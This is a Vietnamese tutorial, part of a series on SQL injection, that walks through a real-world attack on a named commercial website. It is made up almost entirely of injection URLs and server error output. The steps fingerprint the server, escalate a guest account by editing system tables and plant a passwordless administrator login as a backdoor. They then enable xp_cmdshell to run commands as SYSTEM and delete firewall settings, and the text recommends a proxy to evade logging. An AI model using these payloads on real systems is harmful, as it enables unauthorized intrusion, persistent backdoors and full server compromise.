Tổng hợp về SQL Injection (bài 6)

MINH HỌA HACK SQL

• Khai thác lỗi sql-injection tại nhaxinh.com.vn

• Một số kinh nghiệm khi hack SQL

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

• dùng "proxy.ia2.marketscore.com:80" ðể tránh bị ghi nhật kí

http://www.nhaxinh.com.vn/FullStory.asp?id=1

http://www.nhaxinh.com.vn/FullStory.asp?id=1'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBCSQLServerDriver] [SQLServer]

Unclosed quotation mark before the character string ''.

/Including/general.asp, line 840\

XÁC ĐỊNH VERSION

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]

[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH SERVER_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.

/Including/general.asp, line 840

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.

/Including/general.asp, line 840

http://www.nhaxinh.com.vn/FullStory.asp?

id=1 and 1=convert(int,system_user)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.

/Including/general.asp, line 840

• user_name(): các member của "sysadmin" được map sang "dbo"

XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.

/Including/general.asp, line 840

• admin đã disable openrowset/sqloledb, sẽ enable lại sau

ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--

• Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell

XÁC NHẬN GUEST ĐÃ NẰM TRONG DB_OWNER CỦA DATABASE MASTER CHƯA ?

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int.

/Including/general.asp, line 840

CÀI CỬA SAU "BUILTIN\ADMINISTRATORS"

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--

• login vào database với username là "BUILTIN\ADMINISTRATORS" mà không cần password

TẠI SAO KHÔNG ADD THẲNG USER "NHAXINH" VÀO SYSADMIN?

exec master..sp_addsrvrolemember 'nhaxinh',sysadmin

• Lỗi: Invalid object name 'XXXX' khi vấn tin CSDL sau này

ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1 exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0-

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.

/Including/general.asp, line 840

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'-

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'-

LỖI KHI ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')-

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.

/Including/general.asp, line 840

THÊM DÒNG "SELECT 1" ĐỂ KHẮC PHỤC LỖI

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

• set "allow updates"=1 cho phép update các "system-table" (sysusers, syslogins,...) trực tiếp, không qua các "system-procedure"

CHÚ Ý KHI CHẠY MASTER..XP_CMDSHELL

• exec master..xp_cmdshell 'dir c:\' -- "SQLAgentCmdExec"

• select * from openrowset('sqloledb', 'server=<SERVER_NAME>;uid=BUILTIN\Administrators;p wd=', 'set fmtonly off select 1 exec master..xp_cmdshell "dir c:\"') -- "NT AUTHORITY\SYSTEM"

fantomas311(VNISS)